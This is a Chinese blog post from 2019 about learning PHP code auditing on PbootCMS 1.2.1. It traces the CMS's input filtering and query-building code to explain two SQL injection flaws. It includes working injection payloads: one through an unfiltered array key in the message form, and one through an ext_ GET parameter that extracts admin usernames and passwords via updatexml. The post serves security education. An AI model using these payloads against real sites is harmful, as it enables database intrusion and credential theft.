May 29th 2019, 12:00:00 am      
         
        
        
            
        
        
        说在前面 本来只想复现一下sql注入的几篇文章,但在先知上找到了几篇非常好的入门审计的文章。于是打算按照他的审计思路,熟悉一下PHP代码审计流程,同时整理一下SQL注入的审计方法。
文章地址:https://xz.aliyun.com/t/3532 
 
过程一 了解网站的基本架构 文章是拿PbootCMS1.2.1来做演示。 安装好系统,配置好数据库信息,阅读一下网站开发手册。
在审计之前,可以先做以下事情:
1. 了解网站目录结构
使用 tree > tree.txt 来生成文件树。快速了解系统。
2. 确定路由走向
一般是mvc的路由,这个cms还包含自定义路由。 
过程二 了解系统参数与底层过滤情况 1.    了解系统参数过滤的情况
    a)原生GET,POST,REUQEST最简单的方法就是找一个系统中外部可访问的方法,使用
    var_dump($_GET);
    var_dump($_POST);
    var_dump($_REQUEST);
    来查看过滤情况
    文章使用了一个留言新增点,添加了上方语句之后。
    访问:/index.php/Message/add?test='";!-=$%^{()}<>
    用此来检测原始数据的过滤情况
    b)系统外部变量获取函数 get(),post(),request()
    可以直接使用seay搜索"get("来寻找到get数据处理的函数。
2.    了解数据库底层运行方式
    了解数据库增删查改的函数,查看是否有过滤。
    seay搜索:insert( 等。 
SQL注入 在线留言处insert sql注入 复现漏洞 http://127.0.0.1/index.php/about/10 
提交留言并抓包。
将:
contacts=1&mobile=2&content=3&checkcode=3231 
修改为:
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] 
提交数据包,可以获得数据库用户名:
pic
代码分析 POST提交的地址为:
http://127.0.0.1/index.php/Message/add 
根据路由,位置为: Message模块,add方法。 
具体位置:apps/home/controller/MessageController.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70     public  function  add ( )      {        if  ($_POST ) {                          if  (time() - session('lastsub' ) < 10 ) {                 alert_back('您提交太频繁了,请稍后再试!' );             }                                       $checkcode  = post('checkcode' );             if  ($this ->config('message_check_code' )) {                 if  (! $checkcode ) {                     alert_back('验证码不能为空!' );                 }                                  if  ($checkcode  != session('checkcode' )) {                     alert_back('验证码错误!' );                 }             }                                       if  (! $form  = $this ->model->getFormField(1 )) {                 alert_back('留言表单不存在任何字段,请核对后重试!' );             }                                       $mail_body  = '' ;             foreach  ($form  as  $value ) {		                 $field_data  = post($value ->name);                 if  (is_array($field_data )) {                      $field_data  = implode(',' , $field_data );                 }                 if  ($value ->required && ! $field_data ) {	                     alert_back($value ->description . '不能为空!' );                 } else  {                     $data [$value ->name] = post($value ->name);                     $mail_body  .= $value ->description . ':'  . post($value ->name) . '<br>' ;                 }             }                                       if  ($data ) {                 $data ['acode' ] = session('lg' );                 $data ['user_ip' ] = ip2long(get_user_ip());                 $data ['user_os' ] = get_user_os();                 $data ['user_bs' ] = get_user_bs();                 $data ['recontent' ] = '' ;                 $data ['status' ] = 0 ;                 $data ['create_user' ] = 'guest' ;                 $data ['update_user' ] = 'guest' ;             }                          if  ($this ->model->addMessage($data )) {                 session('lastsub' , time());                  $this ->log('留言提交成功!' );                 if  ($this ->config('message_send_mail' ) && $this ->config('message_send_to' )) {                     $mail_subject  = "【PbootCMS】您有新的表单数据,请注意查收!" ;                     $mail_body  .= '<br>来自网站'  . get_http_url() . '('  . date('Y-m-d H:i:s' ) . ')' ;                     sendmail($this ->config(), $this ->config('message_send_to' ), $mail_subject , $mail_body );                 }                 alert_location('提交成功!' , '-1' );             } else  {                 $this ->log('留言提交失败!' );                 alert_back('提交失败!' );             }         } else  {             error ('提交失败,请使用POST方式提交!' );         }     } 
 
提交的步骤为:
判断POST提交的数据是否为空 
检查字段值是否为空并获取字段值 
设置额外数据后提交 调用:$this->model->addMessage($data) 
 
为了了解对POST数据的过滤情况,跟踪接收数据处的post()函数: core\function\helper.php
1 2 3 4 5 6 7 8 9 10 11 12 function  post ($name , $type  = null , $require  = false , $vartext  = null , $default  = null  ) {    $condition  = array (         'd_source'  => 'post' ,         'd_type'  => $type ,         'd_require'  => $require ,         $name  => $vartext ,         'd_default'  => $default           );     return  filter($name , $condition ); } 
 
返回的数据进行了处理,继续跟踪filter()函数:core\function\helper.php
1 2 3 4 5 6 function  filter ($varname , $condition  ) {         return  escape_string($data ); } 
 
函数内容都是对是一些对数据格式的处理,在最后才有对数据内容进行处理的函数。
继续跟踪escape_string()函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 function  escape_string ($string , $dropStr  = true  ) {    if  (! $string )         return  $string ;     if  (is_array($string )) {          foreach  ($string  as  $key  => $value ) {             $string [$key ] = escape_string($value );         }     } elseif  (is_object($string )) {          foreach  ($string  as  $key  => $value ) {             $string ->$key  = escape_string($value );         }     } else  {          if  ($dropStr ) {             $string  = preg_replace('/(0x7e)|(0x27)|(0x22)|(updatexml)|(extractvalue)|(name_const)|(concat)/i' , '' , $string );         }         $string  = htmlspecialchars(trim($string ), ENT_QUOTES, 'UTF-8' );         $string  = addslashes($string );     }     return  $string ; } 
 
对数据内容进行的过滤为:
使用正则将一些sql注入的关键字替换为空 
htmlspecialchars():把预定义的字符转换为 HTML 实体。 
addslashes() :在预定义字符之前添加反斜杠的字符串。 
 
但是这里只对数组值进行处理,却没有对数组的键进行处理。所以根据后面insert()函数的插入方式,可以进行sql注入。
以上是对POST传入参数的处理。
接着前面的$this->model->addMessage($data)
跟踪addMessage函数:apps\api\model\CmsModel.php
1 2 3 4 public  function  addMessage ($table , $data  ) {    return  parent ::table('ay_message' )->autoTime()->insert($data ); } 
 
继续跟踪insert()函数:core\basic\Model.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 final  public  function  insert (array  $data  = array ( ), $batch  = true  ) {         if  (! $data  && isset ($this ->sql['data' ])) {         return  $this ->insert($this ->sql['data' ]);     }     if  (is_array($data )) {                  if  (! $data )             return ;         if  (count($data ) == count($data , 1 )) {              $keys  = '' ;             $values  = '' ;             foreach  ($data  as  $key  => $value ) {	                 if  (! is_numeric($key )) {	                     $keys  .= "`"  . $key  . "`," ;                      $values  .= "'"  . $value  . "'," ;                 }             }             if  ($this ->autoTimestamp || (isset ($this ->sql['auto_time' ]) && $this ->sql['auto_time' ] == true )) {                 $keys  .= "`"  . $this ->createTimeField . "`,`"  . $this ->updateTimeField . "`," ;                 if  ($this ->intTimeFormat) {                     $values  .= "'"  . time() . "','"  . time() . "'," ;                 } else  {                     $values  .= "'"  . date('Y-m-d H:i:s' ) . "','"  . date('Y-m-d H:i:s' ) . "'," ;                 }             }             if  ($keys ) {                  $this ->sql['field' ] = '('  . substr($keys , 0 , - 1 ) . ')' ;             } elseif  (isset ($this ->sql['field' ]) && $this ->sql['field' ]) {                 $this ->sql['field' ] = "({$this->sql['field']} )" ;             }             $this ->sql['value' ] = "("  . substr($values , 0 , - 1 ) . ")" ;             $sql  = $this ->buildSql($this ->insertSql);         } else  {              if  ($batch ) {                  $key_string  = '' ;                 $value_string  = '' ;                 $flag  = false ;                 foreach  ($data  as  $keys  => $value ) {                     if  (! $flag ) {                         $value_string  .= ' SELECT ' ;                     } else  {                         $value_string  .= ' UNION All SELECT ' ;                     }                     foreach  ($value  as  $key2  => $value2 ) {                                                  if  (! $flag  && ! is_numeric($key2 )) {                             $key_string  .= "`"  . $key2  . "`," ;                         }                         $value_string  .= "'"  . $value2  . "'," ;                     }                     $flag  = true ;                     if  ($this ->autoTimestamp || (isset ($this ->sql['auto_time' ]) && $this ->sql['auto_time' ] == true )) {                         if  ($this ->intTimeFormat) {                             $value_string  .= "'"  . time() . "','"  . time() . "'," ;                         } else  {                             $value_string  .= "'"  . date('Y-m-d H:i:s' ) . "','"  . date('Y-m-d H:i:s' ) . "'," ;                         }                     }                     $value_string  = substr($value_string , 0 , - 1 );                 }                 if  ($this ->autoTimestamp || (isset ($this ->sql['auto_time' ]) && $this ->sql['auto_time' ] == true )) {                     $key_string  .= "`"  . $this ->createTimeField . "`,`"  . $this ->updateTimeField . "`," ;                 }                 if  ($key_string ) {                      $this ->sql['field' ] = '('  . substr($key_string , 0 , - 1 ) . ')' ;                 } elseif  (isset ($this ->sql['field' ]) && $this ->sql['field' ]) {                     $this ->sql['field' ] = "({$this->sql['field']} )" ;                 }                 $this ->sql['value' ] = $value_string ;                 $sql  = $this ->buildSql($this ->insertMultSql);                                  if  (get_db_type() == 'mysql' ) {                     $max_allowed_packet  = $this ->getDb()->one('SELECT @@global.max_allowed_packet' , 2 );                 } else  {                     $max_allowed_packet  = 1  * 1024  * 1024 ;                  }                 if  (strlen($sql ) > $max_allowed_packet ) {                      return  $this ->insert($data , false );                 }             } else  {                  foreach  ($data  as  $keys  => $value ) {                     $result  = $this ->insert($value );                 }                 return  $result ;             }         }     } elseif  ($this ->sql['from' ]) {         if  (isset ($this ->sql['field' ]) && $this ->sql['field' ]) {              $this ->sql['field' ] = "({$this->sql['field']} )" ;         }         $sql  = $this ->buildSql($this ->insertFromSql);     } else  {         return ;     }     return  $this ->getDb()->amd($sql ); } 
 
insert函数只是对提交的数据进行了拼接,并未对数据进行过滤。
提交一个留言,查看提交的mysql语句。
INSERT INTO ay_message (`contacts`,`mobile`,`content`,`acode`,`user_ip`,`user_os`,`user_bs`,`recontent`,`status`,`create_user`,`update_user`,`create_time`,`update_time`) VALUES ('1','2','3','cn','2130706433','Windows 10','Chrome','','0','guest','guest','2019-05-20 16:00:22','2019-05-20 16:00:22') 
这里的1, 2, 3是我们可以控制的内容,但是内容会被过滤,所以不能进行sql注入,但还有contracts, mobile, content这三个从post传过去并没有进行过滤的参数名。
于是构造payload:
contacts[content`,`create_time`,`update_time`) VALUES ('1', '1' ,1 and updatexml(1,concat(0x3a,user()),1) );-- a] 
用Brupsuite抓包后提交,就会得到user()。
前台SQL注入 漏洞复现 直接访问:
http://127.0.0.1/index.php/Index?ext_price%3D1/**/and/**/updatexml(1,concat(0x7e,(SELECT/**/distinct/**/concat(0x23,username,0x3a,password,0x23)/**/FROM/**/ay_user/**/limit/**/0,1),0x7e),1));%23=123 
源码分析 后面几个例子基本都是围绕这个点注入的。
直接来看源码:
\apps\home\controller\ParserController.php
里面有一个parserAfter函数,里面会调用指定列表的函数,跟进这个函数:
1 2 3 4 5 6 7 public  function  parserAfter ($content  ) { 	...     $content  = $this ->parserSpecifyListLabel($content );      ... } 
 
这个函数在进行数据筛选的时候,会调用:
1 2 3 4 5 6 7 8 9 ... $where2  = array ();foreach  ($_GET  as  $key  => $value ) {    if  (substr($key , 0 , 4 ) == 'ext_' ) {          $where2 [$key ] = get($key );     } } ... 
 
会判断get中的参数的前缀是否为ext_ 如果是,就加入where2数组。
where2数组最终会进入到下面的两个函数内。继续跟进这两个函数:
$data = $this->model->getList($scode, $num, $order, $where1, $where2);
$data = $this->model->getSpecifyList($scode, $num, $order, $where1, $where2); 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public  function  getSpecifyList ($acode , $scode , $num , $order , $where  = array ( ) ) {    ...          return  parent ::table('ay_content a' )->field($fields )         ->where($where1 , 'OR' )         ->where($where2 )         ->where($where , 'AND' , 'AND' , true )         ->join($join )         ->order($order )         ->limit($num )         ->decode()         ->select(); } 
 
可见,这个where2数组的会被带入到where函数内进行查询。
当payload被传入时,where函数会拼接数组里的值,进而导致sql注入漏洞。查询的sql语句如下所示。
1 2 SELECT  a.*,b.name as  sortname,b.filename as  sortfilename,c.name as  subsortname,c.filename as  subfilename,d.type,e.* FROM  ay_content a  LEFT JOIN ay_content_sort b ON a.scode=b.scode LEFT JOIN ay_content_sort c ON a.subscode=c.scode LEFT JOIN ay_model d ON b.mcode=d.mcode LEFT JOIN ay_content_ext e ON a.id=e.contentid WHERE(a.scode in ('5' ,'6' ,'7' ) OR  a.subscode='5' ) AND (a.acode='cn'  AND  a.status=1  AND  d.type=2 ) AND (ext_price=1 and updatexml(1 ,concat(0x7e ,(SELECTdistinctconcat(0x23 ,username,0x3a ,password,0x23 )FROM ay_userlimit0 ,1 ),0x7e ),1 )); 
 
总结 见到有个大佬的文章里面总结的很好,这里就直接按他的思路来了。
在sql注入的审计过程中,一般的流程为:
在seay中开启查询日志 
查找系统的输入点,尝试输入一些内容并执行 
跟随输入信息,判断输入的内容是否被过滤,是否可利用。 
构造注入语句进行测试 
 
我觉得在这之前应该对框架和底层sql插入的函数方法有个大概的了解。
一些输入点的总结:
1)表单提交,主要是POST请求,也包括GET请求。
2)URL参数提交,主要为GET请求参数。
3)Cookie参数提交。
4)HTTP请求头部的一些可修改的值,比如Referer、User_Agent等。
5)一些边缘的输入点,比如.jpg文件的一些文件信息等。
对TP的框架还是半懵半懂的状态,一定要学,必须要学。
这次倒是对sql注入的审计有了大概的框架了,后面要尝试审计几个小的cms。